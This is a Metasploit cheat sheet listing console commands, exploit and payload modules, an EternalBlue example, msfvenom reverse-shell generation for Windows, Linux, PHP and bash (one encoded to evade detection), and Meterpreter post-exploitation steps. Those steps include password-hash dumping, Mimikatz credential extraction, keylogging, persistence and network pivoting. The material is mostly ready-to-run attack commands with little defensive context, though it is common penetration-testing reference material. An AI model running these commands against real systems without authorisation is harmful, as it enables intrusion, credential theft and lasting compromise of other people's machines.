Metasploit Cheat Sheet

Start & Database

• Start the console msfconsole
• Start with database msfdb init && msfdb start
• Check db status db_status
• Use PostgreSQL and import nmap results db_import /path/nmap.xml
• Load a resource script resource /path/script.rc

Workspaces & Hosts

• Show workspaces workspace
• Create/switch workspace workspace -a <name>
• List hosts hosts
• List services services

Helpers

• Search modules search <keyword>
• Search by type/cve search type:exploit cve:2021 type:auxiliary
• Show helper menu help
• Use a module use <module-path> or use auxiliary/scanner/portscan/tcp
• Show module options show options
• Set a variable set RHOSTS 10.10.10.10
• Set globally setg LHOST tun0
• Unset unset RHOSTS
• Run module run or exploit
• Background a session background (return with sessions -i <id>)

Modules

• List exploit modules show exploits
• Auxiliary modules (scanners) show auxiliary
• Payloads show payloads
• Encoders show encoders
• Info about a module info

Payloads

• Windows reverse tcp meterpreter set PAYLOAD windows/meterpreter/reverse_tcp
• Linux reverse tcp meterpreter set PAYLOAD linux/x64/meterpreter/reverse_tcp
• Generic reverse shell netcat set PAYLOAD cmd/unix/reverse_netcat
• Set LHOST / LPORT set LHOST <your-ip> set LPORT 4444

Exploitation Examples

• SMB EternalBlue use exploit/windows/smb/ms17_010_eternalblue → set RHOSTS <target>
• Portscan aux use auxiliary/scanner/portscan/tcp
• HTTP header scanner use auxiliary/scanner/http/http_header
• Simple web shell use exploit/multi/http/ + search

Meterpreter (post-exploitation)

• Get basic info sysinfo
• Current user / privileges getuid getprivs
• Spawn interactive shell shell
• Migrate to another process migrate <pid>
• Process list ps
• Elevate privileges getsystem
• Create a new session via a handler
• Hash dump hashdump (or run post/windows/gather/hashdump)
• Load kiwi (Mimikatz in meterpreter) load kiwi → kiwi_cmd sekurlsa::logonpasswords
• Download/upload files download <remote> <local> upload <local> <remote>
• Take a screenshot screenshot
• Keylog keyscan_start / keyscan_dump
• Persistence run persistence -X -i 5 -p 4444 -r <your-ip>
• Route through pivot run autoroute -s 10.10.1.0/24

Multi/Handler

• use exploit/multi/handler + set PAYLOAD <payload> + set LHOST/LPORT + run -j (background)

MSFVenom (standalone payload generator)

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o shell.exe
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f elf -o shell.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f exe -e x86/shikata_ga_nai -i 5 -o obfuscated.exe
msfvenom -p php/meterpreter_reverse_tcp LHOST=<ip> LPORT=4444 -f raw -o shell.php
msfvenom -p cmd/unix/reverse_bash LHOST=<ip> LPORT=4444

• Bind vs reverse: reverse = target connects to you (works behind NAT/firewalls).

Tips

• Always setg LHOST your VPN/tun0 IP for multi-session jobs.
• Use jobs -l, jobs -k to manage background handlers.
• sessions -K kills all sessions (cleanup).